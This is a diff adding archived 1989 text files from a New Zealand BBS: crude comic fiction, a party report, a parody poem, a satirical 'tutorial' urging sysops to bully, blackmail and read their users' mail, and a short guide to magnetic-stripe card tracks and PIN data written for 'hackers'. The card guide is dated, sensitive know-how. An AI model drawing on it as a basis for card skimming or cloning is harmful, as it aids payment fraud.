breakfasts brought to the bedside by Bracegirdle the Butler banana +and bountiful banquets every evening in the baronial banquet hall. He +disported himself around the village of Baskerville, sinking many a barrel of +beer at the Baskerville Bull and Bush Beef and Burgundy Bar, and bonking +Beryl Banana the Barmaid between exercising his rights of droit de seigneur +much to the fury and bafflement of the bucolic bachelor bananas about to be +wed. +BUT!!!!! + One morning he woke up and discovered he was BROKE, basically bankrupt! + No further supplies could be bought from the Butcher, the Baker or the +Brewery banana without BIG BUCKS! + After consulting with the British Old Boys Banana vine (like a grapevine +but more yellow than blue-blooded), he heard of the beautiful blonde Lady +Barbara Banana, sole beneficiary of the Bumper Biscuit Business, because +her only brother Barri was missing, believed battered during a spell as a +mercenary in some Bahamanian Beaurocracy. + Beau (The Bastard) cunningly contrived to have this beauteous blossom of +British bananahood invited to what was a seemingly above board Banana Ball, +but was in fact a bizarre bacchanalia attended only by the basest of bananas, +whereupon her honour being compromised, she was forced to agree to become +betrothed to Beau and call the banns. + So, the blushing bride Barbara became bound to Beauregard the Bastard, the +Blackguard! + Betrayed and bewildered, once Beau got his hands on her business and +cleaned out the balance of her bucks, broken-hearted Barbara was unable to +bear Beau's brutal behaviour, SO...one breakfast-time she balanced on the +balcony, before biffing herself off the building, breathing her last as she +bashed into the blackberry bushes beneath. + Beau was briefly belligerent at having to bear the brunt of a burial, but +banked on being able to bowl ahead with his natural pursuits unencumbered +thereafter by his bewailing bride. + BUT + Bastions of British Blue Bloods were not about to let Baron Beauregard +remain blameless over his behaviour. + Extreme pressure was brought to bear, not the least of which were loud +broadcasts of "The Ballad of Lady Barbara" by the Bard, until Beau the +Bastard just couldn't be bothered battling it anymore. + Bundling up his ill-begotten bounty he bought a berth on a Brazilian +bound brigantine, boarded, but disembarked while the boat was berthed in +Brisbane. + How he encountered El Presidente is quite another story..... + +------------------------------------------------------------------------------- +AUTHOR: Trillion +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/br_ode.txt b/textfiles.com/groups/BANANAREPUBLIC/br_ode.txt new file mode 100644 index 00000000..397c287c --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/br_ode.txt @@ -0,0 +1,28 @@ + + AN ODE TO THE BR + + BY THE GREAT RABBI BAJZHEET + + +Shall I compare thee to raw porridge? + +Hey, ther's an idea: Ode to BR + +Shall I compare thee to Infoboard? +Thou art more kinky and less temperate. +Rough winds do shake the coconuts of May +And summer's lease hath all too short a date. +Sometime too loud the line of telecom growls +And seldom is his foul complexion dimm'd +And every fair from fair sometime declines +By chance, or hacker's course untrimm'd +But thy eternal users shall not fade +Nor lost possesion of the files thou ow'st +Nor shall Fidonet bragst thou wanderst in its nodes +When in eternal lines to time thou growst. + +For as long as fingers can type, or eyes can see +So long lives this, and this is a prety bad ending. + +Worthy yeoman, canst thou dig it! + diff --git a/textfiles.com/groups/BANANAREPUBLIC/brparty.txt b/textfiles.com/groups/BANANAREPUBLIC/brparty.txt new file mode 100644 index 00000000..f4253e92 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/brparty.txt @@ -0,0 +1,139 @@ +File : BRPARTY.TXT +Author : Iceman(NZ) +BBS : The Banana Republic BBS + + +27/11/89 The BR Party - Official Report + ============================== + + Note that this report mainly mentions modem-users, since I don't know most +of the others, and since they have no modem they can't read this anyway. + + At 5:30 we headed off in the general direction of Outer Siberia, the secret +residence of Mack the Knife. After admiring his amazingly realistic digitized +flushing toilet, we made our way in the direction of the Presidential Palace, +with Kamakoza demonstrating his hair-raising "comb-your-hair-with-both-hands- +while-driving-at-120kph" technique to a terrified Mack. Unfortunately we were +unable to figure out a flight plan that tied in Glenfield, Chez Knife, Ponsonby, +and the Presidential Palace, so Black Adder was left to find his own means of +transport (he finally turned up at 9:45 wearing a "Hacker" T-shirt). + After some skilful navigation, helped by the ominous thunderhead parked +smack over the top of the Palace (no doubt set up by LP as an aid to +navigation), we entered the sumptuous residence from whence our beloved +Presidente conducts all his operations. Gradually more people began to arrive, +and after being introduced to most of the people present and engaging in +various polite introductory pleasantries such as Mack's enquiring of Trillian +whether she "preferred ribbed or raspberry-flavoured ones", the Iceman paying +back a $20 debt to LP in 2, 5, and 10 cent pieces, and worried noises about the +lack of beer, the drinking started to get under way at around 7pm. + In the meantime a group of us were carrying out a detailed recon of the +palace. After discovering that even the phone was yellow, we were shocked to +find, upon removing the cover under which LP had furtively tried to conceal his +computer, that it bore the dreaded IMAGINEERING logo! Even worse was the +subsequent discovery of a C64 on the premises! This lead to a round of nasty +comments about C64's, Spectrums, and ZX81's best left forgotten in an alcoholic +haze. + Then followed sundry incidents such as Bat Bastard offering star mention in +the next episode of Spheroids if only someone, *anyone*, would accept an +autographed copy, Paul offering a $200 bribe to anybody who would throw up over +Jane, and Sheila offering her all down the back of the house (You mean she never +made you that offer? Oh well, she must recognize quality hardware when she sees +it). + As the evening progressed, talking donwstairs was occasionally interrupted +by loud drunken cries as various people were duped into drinking in a game with +complex rules, rules so complex in fact that that nobody could quite remember +them, an obscure drinking game whose basic tenets were transmitted to us via +ancient tablets with unsteady inscriptions. And in the meantime, where was our +beloved Presidente?? Rumour had it that he had just about "got his girlfriend +there" on the phone, an act he had secretly confided to the Iceman that he had +never quite managed before. + The Iceman was at this point showing his amazingly tactful nature by +introducing himself to he personage whom he thought was Jane with the words +"No, you're not wearing any vomit, you can't be Jane". Trillian, in the +meantime, was busy getting "Not drunk, just relaxed", and Mack was engaged in +developing his lethal 25d6 breath weapon, something that has been known to drop +cows at 50 paces. In fact the death of several acres of natural bush around +Varsity can be singularly attributed to Mack's having BREATHED on them. + LP was at this point still enganged in a long session of psycho-acoustic +dildonics with is girlfriend (sex via telephone for the non-technical types), +the Iceman was busy spiking his own 7-up with 7-up, and Trillian had just +discovered that the leg she was stroking was not her own but, in fact, belonged +to Mack the Knife. In the meantime, LP had reappeared and was busy mixing a +fairly lethal molotov cocktail for Black Adder out of a hidden cache of Secret +Ingredients that Marlon Shakespeare had been guarding all evening. Black Adder +then unsuccessfully tried to burn down the Presidential Palace by lighting this +mixture (unfortunately without much success). + A few notable abscences were noticed by those present: Pharlap Johnson, +who had been forced at gunpoint to attend someone's 21st; Hacman Jr (who was +later locked out of the BR by a small but vociferous group of drunks); Cuzzin +It (he who is most famous for turning up at a lecture for a course he doesn't +take, talking loudly at the back, and dismantling the fittings and passing +pieces of them around the class); and "a short guy with an Adolf Hitler +haircut" whom everyone else knew as the infamous Mike. This was made up by the +fact that George arrived at 9:00 with two dozen cans of a certain amber liquid, +and immediately joining the ongoing game of Mexi, which a very "relaxed" +Trillian was being taught how to play, but being too "relaxed" to grasp the +rules she merely rolled the dice and drank some obscure mouthwash she had +brought with her when told by anybody, and in fact on random occasions when +prompted by voices inside her head, probably the nanomachines. + But Trillian was not the only "relaxed" person around by this time. +Kamakoza, after mumbling something cryptic about "Sorry, the sysop of A.C.E.S. +is unavailable for [C]hatting due to the fact that he is violently drunk", had +collapsed and gone to sleep under a table; a person who bore a striking +resemblance to LP was seen crawling around under the Mexi table after quaffing +large quantities of a sinister high-octane mixture best left undescribed; and +in fact about half the BBS's in Auckland were potentially out of action due to +inebriated sysops. + However it was not only the sysops who had reached this state. Mack, after +long debate and holding an "S"-shaped piece of metal up to the wall, finally +decided: "It's an 'S'!", to which Paul commented: "You've been watching Sesame +Street again haven't you Mack?". + Shortly thereafter rumours of food upstairs began to be perpetrated by +strange people with bulging eyeballs and an unsteady gait. After LP had +succeeded in completely convincing his parents that he had not been drinking +("I's a natural high; it's euphoria. I *haven't* been drinking"), we all +proceeded to stuff our faces with pizza, sandwiches, pizza, chicken, funny +pastry thingies filled with pet food, and more pizza, followed by the kind of +sponge cake with cream that has been designed by a team of experts to be un- +eatable without getting most of it all over your fingers. Some of us were +experienceing difficulties eating however: Mack was unable to decide whether +to eat his pizza or his plate; unable in fact to tell what was his pizza and +what was his pate, and in the end deciding the stale one must be the plate. + After the feed, Bat Bastard noticed a ready supply of banana's lurking on a +side table, and, after cruelly breaking one in two, offered it to LP as the sad +remnants of Barri. Unfortunately LP had trouble believeing this due to a fake +Barri double being planted in his pocket by a group of Communist agitators. +There follwed a mad search for the REAL Barri, which eventually culminated in +his mysterious reappearance a short while later. Those responsible have since +been shot. + Jane was at this point still "unadorned", but there were bets being laid in +certain quarters as to how long this would last. In the meantime LP had +retired to the garden for some fresh air, and after some concern about his +turning into a banana at midnight it was decided to kick Kamakoza "Sleeping +Beauty" off his mattress and slide it under LP. Shortly thereafter Herr Flick +arrived, and it immedately became obvious why he was graced with this nickname +(maybe it was the glasses, I dunno). + At about 1am the doormat became Kamakoza by stages, and after rounding up +Mack the Knife from where he was busy molesting an old tire, we headed off home. +"Where do you live Mack?? Do you remember your name Mack??". Rumour has it +that he found his way home OK. A phone-call by an anonymous person with and +unidentifiable accent later confirmed that most people had survived the party, +and that the Presidential Palace, if not the Presidential Reputation, was still +more-or-less intact. + + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + Happy 20th Birtday LP and thanks to his parents for putting on a great + feed, putting up with loud music, a drunken Presidente, and most of the + BR users and LP's friends (both of them). + + Prepared by The Iceman + Chronicler to Royalty and also the BR. + +------------------------------------------------------------------------------ +AUTHOR: Iceman(NZ) +------------------------------------------------------------------------------ +Brought to the WORLD by The Banana Republic BBS, Auckland, New Zealand. +------------------------------------------------------------------------------ + + diff --git a/textfiles.com/groups/BANANAREPUBLIC/card.txt b/textfiles.com/groups/BANANAREPUBLIC/card.txt new file mode 100644 index 00000000..1ef31df0 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/card.txt @@ -0,0 +1,126 @@ +File :CARD.TXT +Author :Iceman +BBS :The Banana Republic BBS + + + A Brief Guide to Magnetic Strip and Smart Cards + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Magnetic Strip Cards +==================== + + These are based on the IS 7810 and IS 7811 standards. The IS 7810 standard +covers the physical standards, the IS 7811 standard covers the embossing of +characters. Based on IS 7811 is the system of three parallel tracks, which are +numbered in relation to their distance from the cards top edge with track 1 +being closest to the edge. Each track holds a string of magnetically encoded +data bits which are read sequentially by the read head of the magnetic strip +reader. The table below summarises the track information: + +Track 1 210 bpi; 79 alphanumeric characters +(Read only) Used mainly by its airline developers (IATA). + First field for account number (up to 19 digits) + Second field for name (up to 26 alphanumerics) + +Track 2 75 bpi; 40 digits (numeric only) +(Read only) Developed by American Bankers Association for online use + First field for account number (up to 19 digits) + +Track 3 210 bpi; 107 digits (numeric only) +(Read/Write) Higher density achieved by later technology. + Rewritten after each use. Suitable for off-line, ie fallback + from offline. + Uses PIN verification value (encoded). + + Track 2 is usually written prior to the card being passed to the card +holder, and is subsequently interrogated by the card-reading terminal each time +it is presented. The contents, including the cardholders account number, are +transferred irectly to the card issuers computer centre for identification and +verification purposes. This online process enables the centre to confirm or +deny the terminals response to the presenter of the card. + Track 3 was introduced some time after the other tracks and is the only +read/write track on the card. Its contents are re-written each time it is used +and it contains an encoded version of the PIN which is unique to each +cardholder and is keyed in whenever the card is presented. + This encoded format or PIN verification value (PVV) is compared with the +PIN by the terminal to verify a correct match and thereby avoids the need to +involve a check being carried out by the central computer. Such a process is +described as offline, ie there is no necessity for the terminal to transmit to +a distant centre and await confirmation to proceed. + VISA has enhanced the basic card with its Member-Controlled Authorisation +Service (MCAS), which exploits the unused data areas on track 1 to give the +following enhancements: + - Extra magnetic stripe security designed to prevent counterfeiting and + alteration. + - In-terminal authorisation, ie offline for lower value transactions or + during online failures. + - Additional encoded data providing credit worthiness cirteria and designed + to provide local PIN verification. + There are also a few other attempts at greater security such as EMI/Malco's +Watermark system which won't be discussed here since they are at present only +experimental and are beyind the scope of the average hacker. + + +Smart Cards +=========== + + Standards for these are still in the draft stage, and very few are +currently in circulation (one of the developers, Intamic, established a +"Physical and Electrical Characteristics Working Group" back in 1981, and +shortly thereafter it obtained "liason member" status (non-voting) on the +appropriate ISO technical committee (TC 97) - which has responsibility for +information processing and data security standards - and its Subcommittee (SC +17) which has specific responsibility for ID and credit cards. In turn, SC 17 +created Working Group 4 to tackle the title "Integrated circuit(s) card with +contacts", which then established a subcommittee to report back .... well you +get the picture. + Anyway, much of this work has now reached the Draft International Standard +stage (DIS 7816). It includes not only the original physical characteristics +specified under ISO 7810, but also additional requirements such as the surface +profile of the contacts, mechanical strength, electrical resistance of the +contacts etc etc which aren't really of much interest. This is covered in Part +1 of the standard. Part 2 covers the electrical contacts, which are assigned +as follows: + + +--+ +--+ + |C1| Vcc - Circuit supply voltage |C5| GND - zero voltage reference + +--+ +--+ + + +--+ +--+ + |C2| Reset |C6| Vpp - prog.supply voltage + +--+ +--+ + + +--+ +--+ + |C3| Clock |C7| Serial data I/O + +--+ +--+ + + +--+ +--+ + |C4| Currently unassigned |C8| Unassigned + +--+ +--+ + + The two unassigned pins will probably used in reprogrammable cards. + Part 3 of the Draft Standard is concerned with electronic signals and +exchange protocols and covers power/signal voltages; start-up functions +including power-on, reset, and data exchange; clocking rates, parity checking, +and other transmission-related activities as well as the data tansfer itself. +At the time of this document "going to press" these standards were still under +debate. Since these cards are at present quite scarce this information is not +of much practical interest anyway........ + + -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + + Well, that's about it. I hope this has given all you hackers something to +think about. Remember that anybody can buy a magnetic strip reader for around +NZ$500 or so, which is certainly money well invested, especially if several +people chip in with $100 each. + + Peace and Free Software, + The Iceman. + + +------------------------------------------------------------------------------- +AUTHOR :Iceman +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS, Auckland, New Zealand +------------------------------------------------------------------------------- + \ No newline at end of file diff --git a/textfiles.com/groups/BANANAREPUBLIC/dictate.txt b/textfiles.com/groups/BANANAREPUBLIC/dictate.txt new file mode 100644 index 00000000..56bc3866 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/dictate.txt @@ -0,0 +1,233 @@ + +File : DICTATE.TXT +Author : El Presidente +BBS : The Banana Republic BBS + + + + El Presidente Productions Presents + + +------------------------------------------------------------- + El Presidente's Tutorial for Sysops + + First Movement in A Minor +------------------------------------------------------------- + + + +INTRODUCTION +------------ + +So many Sysops these days are unaware of their obligations, +both to their Users and to the wider community as a whole. +This Tutorial has been written in an effort to rectify this +sad and lamentable state of affairs. This tutorial is not +written in an effort to "energise" your BBS, nor is it +written to help those drivelling, moronic, banal, puerile +idiotic, crapulent, pathetically sad excuses for Sysops (who +are after all beyond help!); rather it is written in order to +educate those Sysops, who although performing their duties to +a reasonable level are unaware of the true scope of their +abilities and responsibilities. + + + +LESSON 1 - Be a Dictator +------------------------ + +Some Sysops shy away from the idea that they are in fact +dictators. This is sad; quite apart from the fact that +everybody knows that they are dictators they are denying +themselves a great deal of fun. + +FACT 1: Sysops are DICTATORS. + +Once you realise you are a dictator you open a whole world of +possibilities both for yourself and your users. + + + +LESSON 2 - Your TRUE Nature +--------------------------- + +Realise your true nature. Once you have truly decided you +are a dictator you must begin to act like one. Do EXACTLY +what YOU want. Don't take your Users into account AT ALL!! +Be a bastard. Abuse any User you decide to (particularly New +Users), whether they deserve it or not. Delete and purge +Users on a whim (more about purges later). Remove files, or +directories without telling anybody. Never explain anything +you do. It is ESSENTIAL that you do exactly what you want, +you are not accountable to anybody. Remember you're a +dictator after all. + + + +LESSON 3 - Users +---------------- + +As a dictator a User exist for only one purpose, as a toy for +the bored Sysop. As a dictator you have NO obligations to +your Users whatsoever. Do whatever you like to them. Swear +at your Users, abuse them, annoy them, torment them, don't +feed them for weeks on end (it makes them more irritable, and +hence, more fun) and above all enjoy yourself at their +expense. + +New Users + +New Users are even more FUN!! New Users have even less of a +right to life, liberty and the pursuit of a chat from the +Sysop than REAL Users. As a Sysop and more importantly a +dictator you should make New Users fill out ALL sorts of +idiotic questions in order to "validate them" (hehehehe). +However these questions should include several important +details (which you should check quite rigorously). + +THE important details: + +- The User's REAL Name + so you know who the hell they are! + +- The User's Phone Number + so you can ring them up to abuse the SHIT out of them. + +- The User's Address + so you know where to post the letter bomb. + +- The User's Age + so you understand the age of the putrescent jibbering + mass of slime your dealing with (useful for making sure + you don't leave message that exceed their age to + vocabulary ratio). + +- The User's Sex + so you don't "hit on" the wrong sex (could be HIGHLY + embarrassing). + +- The User's Computer + so you know what type of virus to dig out of your "How + to Write Virii in Five Easy Steps" book. + +- Some Incriminating and Highly Embarrassing Details about + the User + to blackmail them of course!!! (possibly into a date if + they're of the right sex/age group). + +There are some important points to note in dealing with New +Users: + +1) Never answer a New User's chat request, it just makes them + uppity and makes them think you are their to cater to + their every whim (HAH! as if!). + +2) Don't reply to a New User's messages (it only encourages + them). ESPECIALLY if they DEMAND that you "let them on " + (this is a clear sub-concious desire on their behalf to be + deleted and LOCKED OUT!!). + NB. There is an exception to this rule. + If you would rather write a reply to them - DO IT. + Remember you're the dictator! + +3) GIVE THEM HELL!!! + + + +LESSON 4 - Purges +----------------- + +FACT 2: Only Stalin REALLY understood the importance of + regular purges. + +Purges are a truly important part of any dictators "bag of +tricks". As a dictator you must realise that the average +User responds really well only when threatened and +terrorised (exploit and use this fact!). Purges are a means +to this end. + +Purges should be held both regularly and on the spur of the +moment. A regular purge should be held regularly (obvious +eh?!) and should be WELL advertised! Advertising your +regular purges will have all the Users wondering just who is +about to go this time. Regular purges can also be used to +reward a User. Pick a User, advertise the fact and get them +involved in the actually purging - GREAT FUN!! Irregular +purges should be held spontaneously (ie. when you're +annoyed!!), just purge anybody that annoys you, maybe you +don't like their name, they haven't left you a message for +too long, or just choose a few at random. + +Purges are also a particularly good way of weeding out the +New Users. Well at least you know that the ones that re- +apply must REALLY want to become a User. + + + +LESSON 5 - Mail +--------------- + +There is only one lesson concerning mail - the Sysop OWNS all +of it. + +Do whatever you like to it. Re-address it. Delete it. +Change it. Whatever tickles your fancy, do it. + + + +LESSON 6 - Sexual Deviations +---------------------------- + +(Well I had to include something on sexual deviations) + +The only correct and proper sexual deviation or perversion +for a sysop to entertain is BANANAS. It is as simple as +that. + +(for more information on Banana Perversion refer to El +Presidente's "The Fetishist Guide to Fun with Bananas") + + + +FINALLY +------- + +So you have know earned the right to call yourself a dictator +3rd class. Remember to do exactly what you want, as many +times as you want (contrary to popular rumour, your modem +will not fall off!!) and as you watch your final User log-off +for the last time, console yourself with the fact that at +least you're a damn good dictator. + + + +FEES +---- + +Fees for this the first course of study, in the series of 69, +amount to a total of $34.28 + tax. No cheques accepted. All +fees to be sent to: + El Presidente + c/o The Banana Republic BBS + + + +FURTHER STUDY +------------- + +Further courses of study (2-69) may be ordered through: + + El Presidente + c/o The Banana Republic BBS + + +20/12/89 + +El Prez. + +------------------------------------------------------------------------------- +AUTHOR: El Presidente +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + diff --git a/textfiles.com/groups/BANANAREPUBLIC/environ.txt b/textfiles.com/groups/BANANAREPUBLIC/environ.txt new file mode 100644 index 00000000..59378ec2 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/environ.txt @@ -0,0 +1,59 @@ + +File : ENVIRON.TXT +Author : El Presidente +BBS : The Banana Republic BBS + + +August '89 + +ENVIRONMENTALLY FRIENDLY + +It seems that we're all "environmentally friendly" these +days. Manufacturers everywhere scurrying to slap +"Environmetally Concious" stickers on their product. Little +doplhins adorn toilet rolls, "green" stickers on our aerosole +cans, pop stars and authors spreading the word about our +world all in the aid of preserving our planet. + +Strange, isn't it, manufacturers who previously were quite +happy to push the planet to hell in a hand cart for the sake +of rampant consumerism, now can't move fast enough to be +"green". Now, I know why this has happened, I have the +answers, it was a bunch of little green aliens, they came to +earth and zapped all the directors of all these multinational +corporations with a "morals" ray, and know they understand +that what they're doing to the environment is wrong... well +almost it was really a bunch of little green dollars that +zapped all these corporate directors. + +After all, the fad these days is "green". If you're cool you +write on recycled paper (recycled toilet paper???), you +recycle your packaging, and you actually read all those +stupid tiny little "this product contains..." messages, to +check for any idealogically unsound contents. + +But, really when it all comes down to it, its rather +worrying. The public being the fickle, changeable creature +that it is, is just as likely to abandon "green" as quickly +as it abandoned the cold war, disco duck and feeding the +starving millions in Ethiopia (Gee I dunno, I guess they all +just stopped starving, right?). + +And what of the big multinationals? Are we really naive +enough to think they really care about the planet? While +we're sending our money to the emerging eastern block, +helping these crumbling communist powers to stumble +(squinting and blinded by all that gleams) into the light of +capitalism, who will be watching our "green" producers? + +Because, when it really comes down to it who gives a flying +fuck about the planet? "Gee I dunno, I guess we just cleaned +up the planet, right? ...right?" + +------------------------------------------------------------------------------- +AUTHOR : El Presidente +------------------------------------------------------------------------------- +Brought to the WORLD by The Banana Republic BBS +------------------------------------------------------------------------------- + + diff --git a/textfiles.com/groups/BANANAREPUBLIC/gbs.txt b/textfiles.com/groups/BANANAREPUBLIC/gbs.txt new file mode 100644 index 00000000..bc143d45 --- /dev/null +++ b/textfiles.com/groups/BANANAREPUBLIC/gbs.txt @@ -0,0 +1,349 @@ + +File : GBS.TXT +Author : A. McCully & Rez Errection +BBS : The Banana Republic BBS + + + The following is a series of humourous (Hopefully!) texts that a + friend and I devised (Mainly him actually) one Saturday Night. + Though they may not appeal to certain BR members as they lack the + required amount of Necrophilia and Bestiality (Disappointed sighs + from readers), at the time of their writing we thought that they + were amusing. If you like and want more such texts then leave a + message to Rez Erection on BR and who knows I might even convince + LP to post them as a bulletin! Criticism welcomed: + + Note: These are Private. Please do not upload to other BBSs. + These texts are dedicated to Trillion and, of course, Lord LP! + + + Rez Erection and A. McCully Present: + + + + Metaphysical Ambience: + + + The Sun shone happily, the clouds drifted merrily, the air did + whatever it was that air did joyously and the grass.. the grass + swayed agreeably. Enthusiastic beams of sunlight found their way + with a blissful degree of contentment to the Earth, lighting the + overjoyed and elated planet. A slight inkling of a diminutive + formation of wind whispered its way over the jubilant country + side, rejoicing at the ecstasy of being. + + Butterflies flitted, flitting from flower to flower with a + delighted expression emanating from their facial features. + + Happy in a kind of terminal way, a brown dog strolled across the + agreeable grass and looked up at the cheerful clouds. The + protracted stay of euphoria which was currently staging a sit-in + at his brain had affected his whole outlook on life. After + suffering from a short bout of leprosy, becoming a quadriplegic + and recovering from several incidents of radiation sickness that + were caused by large nucleur blasts around his kennel, he had + lost all hope. Today however he woke up to find that all his + limbs had regrown, his fur had rejuvenated and he now had a face. + This had so impressed him that he had gone out with the express + intent of fully experiencing the total and ultimate realisation of + the Spirit. The day had so far proved most satisfying in the line of + ultimate realisation of the spirit and thus he was happy. + + The dog now approached the rather emaciated collection of dirt + and rocks that served as a road to this now emaciated spiritually + aware community. On the other side of the road he saw what looked + like an amazingly comfortable place to sit, alongside which was + an amazingly edible-looking bowl of food that simply glowed with + the pleasurability of the day. He began to cross the road with + simple wondrous nicety of step. HOWEVER the oncoming truck did + not share his views on the perfection of the day and said so by + revving its engines. As an additional touch it also crushed sinew, + smashed liver, destroyed skin, ground intestine into asphalt, and + although it did all this extremely politely and with all the + proper elocution the gesture was not greatly appreciated by the dog! + + When the trucks had finished articulating its displeasure over + the whole theological and metaphysical implications of the dog, + all that remained of the now not-so-impressed dog was an + amazingly small, precision placed pile of semi liquid gore. + Steaming entrails splayed out in an intricate pattern suggested + that the truck driver was in possession of some artistic + faculties. + + The intestines bubbled happily, the liver glupped and convulsed + cheerfully and the blood clotted agreeably... + + + + + + Oath of the Dead + + + - A passionate tale of power struggles within a Yemenite mining + community or alternatively some pleasant adjectives, a few + subjunctive clauses and some blood (Gratuitous Sex, Depravation + and Necrophilia). Written by A. McCully with very minor + technical assistance from Rez and typed by Rez Erection. + + + The Sun, in its rising, turned the morning clouds a deep shade of + orange. The time had arrived, and after centuries of dustial + accumulation, the proverbial spit and polish of heroics was + present. Below the orangely ambient cloud cover a field was + revealing itself to the rest of the world. + + + Beside the field was a small keep, a gray stone affair with a + turret at each corner and a huge black metal gate. It stood on a + small hill beside the field, sentinel of the area. + + There was already one figure on the field, he dismissed most + medieval stereotypes about combatants as he wore nothing of a + military nature aside from a bronze helmet. Raised above this and + carried in both hands was a staff, it remained perfectly still, + as did the figure, no sign of life around it or him. Statuesque + was a good word. + + + * * + + + + Life in the Legion of the Dead was not particularly + scintillating, it was in fact a contradiction in terms, but it + was there. Being dead had many disadvantages, one of the better + ones being that material humour was lacking. It simple wasn't + possible to roar loudly in laughter at the elite guards that got + slaughtered by their own covering fire, it was no longer feasible + to make jokes about the barbarian horde that collectively got + syphilis after a bit too much looting, pillaging and raping. It + was boring. + + There was however one event which cropped up at irregular + intervals, the Invasion of the Living World. What would happen is + that all the dead would get together, create a rift in the + spatial and temporal continuum and go for a short foray into the + world of Life, wreaking as much "death and havoc" as was + inhumanly possible. The whole thing was a tremendous morale + boost, not to mention "a fun-filled day for the whole platoon". + + There was an excited humming as the Legion waited for the + dimensional gate to open. + + Snatches of conversation could be heard. + + "I hope it's better than last time, and the time before that, and + the time before that, me and my squire, dead in the first two + minutes!" + + "Yeah, that Archmage spoiled everything." + + "I mean if you can't kill the living who can you kill?" + + "Exactly." + + But that was all, for the normally rigid walls of time and space + were being split asunder as the Gate manifested itself. A vast + section of the grey world the Dead inhabit was swept aside as an + even vaster blackness filled the vast swept away bit. Solemnly + they marched and before you could say "Stuff physics this is + fantasy", they were half way to the Real world. + + + * * + + + The figure now sat cross legged meditating, his staff upright in + front of him, though he held it not. The top end appeared to + spontaneously combust, bursting into life. Its phosphorescence + steadily increased, flaring up, supernovering and becoming a + beacon, brighter than the Sun itself. The area around the figure + pulsated with energy, multiple fissures in the very earth + developed along with multiple bolts of pure power descending from + the sky to strike the staff, only to be absorbed. In a paroxysm + of fire a conduit of power from the Gods engulfed the figure + obscuring him completely from view. The power surge lasted for a + few seconds, and stopped suddenly ... The figure was ready. + + A wind picked up, it gently swayed the greenness that was the + field. The gate on the keep rattled. + + A stronger wind pickede up and with greater force swayed the + greenness. The gate on the keep squeaked open a fraction. + + A FUCKING ENORMOUS tornado tore up the very earth the + greenness was on and the gate warped, melted and the bottom + section of the keep exploded in a PRETTY FUCKING VIOLENT display + of one-ups manship on the part of the Dead. + + The ghosts of warriors past trooped out of the wreckage and + howled with the ecstasy of being so near to life. They were + terrible to behold as the battle-lust overtook them and they + longed for blood. And upon the sighting of the figure and his + staff a unanimous "Oh Fuck, not again" issued from the horde. For + a few moments there was silence, a few whispered "What do we do + nows" and then cacophony. The legion was not to be beaten again + and so with a raucous chant the horde surged forward in a single + slaughterous mass with a single slaughterous goal. + + The figure on the other hand had other ideas, for although he had + a single slaughterous goal he did not surge forward + slaughterously. What he did do was look nonchalant, pose + retrospectively and raise his staff skyward. The horde screamed. + + At the staff's tip a black mass was forming, expanding + gelatinously, forcing its way to existence. The horde screamed + again, only louder. With an explosion of growth the mass became a + sphere, throwing out luminous spears of light that dealt death to + the Dead, unraveling the fine ethereal threads that held them + together. The horde screamed quite loudly this time. In reply the + figure threw a dozen or so flaming balls of destruction into + their midst, vapourising all that they touched. The few remaining + members of the horde booed strongly, knowing their fate. + + In a last cataclysmic attack the figure called forth a vast + vortex of incandescence which wreaked death upon rank upon rank + of the legion, devouring them and spewing forth their + disassembled corpses. As the last was crushed silence descended. + The figure chuckled to himself and went to inform the King that + he had again saved the realm. + + A last vestigule of lucid thought floated from the slowly + disappearing bodies of the Legion, + + + " O Fuck! ............I swear..... I'll do that Archmage ". + + + The Blueness: + + + - A brilliant, innovative work of art that delivers a knockout + political punch. A stunning aesthetic, historical and social + document. This text articulates the mechanisms of oppression + and the ecstasies of freedom with a dazzling use of both + spoken and visual language. Written by A. McCully with minor + technical assistance from Rez and typed by Rez Erection. + + + The city sat, waiting, bathing in the vast crystalline blue that + was not in any way normal. It was not a strong or dark blue, it + was light, calm, not unlike a flat sea that had taken to the air. + + It had had a strange effect on the city; normally the city's pace + was furious, it waited for no-one, and no-one expected it too, + but on the blueness' arrival that had changed. No-more did the + high glass and steel buildings harshly reflect the Suns' light in + the sunglasses of the scores of business with the cellphones, now + the harshness was taken off the reflection and a dull square of + light was all that was relayed to the glasses. + + No longer could the "Sun-Glass Wearing Men In Suits Who Go Out + And Relive Dreams of Miami Vice With Their Hands Down Their + Trousers, Chatting From Their Carphones To People Called Sharon + And Dave With The Sunroofs Open, Basking In The Hot White + Light" go out and relive dreams of Miami Vice with their hands + down their trousers, chatting from their carphones to people + called Sharon and Dave with their sunroofs open, basking in the + hot white light. These days the cars went slower with the + sunroofs closed. Nobody felt the urge to be professionalistic, + nobody felt the need to use their cellphones. + + "The Single Mothers Trying To Hold Down A Job While Supporting + Three Children" appreciated the change. The blueness induced a + sense of sluggishness city-wide which pacified the children, + relaxed the speed of work at the offices where they all worked as + secretaries and just generally made life easier. + + A small number of "Visiting Businessmen Just Over Here To Clinch + A Really Big Deal" were also affected for when they returned to + where they came from they found that everything was too fast, + that they couldn't take it, and that, more to the point, they + didn't want to. They threw away their Visiting Businessmen roots + and moved to the City to become "Businessmen With Sunglasses And + Cellphones". There was a small outcry from a xenophobic section + of the "Very Important People In High Places Who Appear To Do + Very Little But Earn Lots Of Money", but no one really minded. + + The "People In The Street" had even more morning teas to discuss + how strange it was that Harry had married Jane and then gone to + Mexico where he said he had a business, but no-one believed him + and what with all this blue thing hanging over the city. + + According to "Astrologers And Other People Who Wear Black A Lot", + there had been a 16% rise in the number of children being born + with six heads since the blueness had appeared and consequently + religious suicides increased and churches were packed every + Sunday, with the "Astrologers And Other People Who Wear Black A + Lot" preaching to the "People In The Street" who in turn relayed + the message to the "Other People In The Street Who 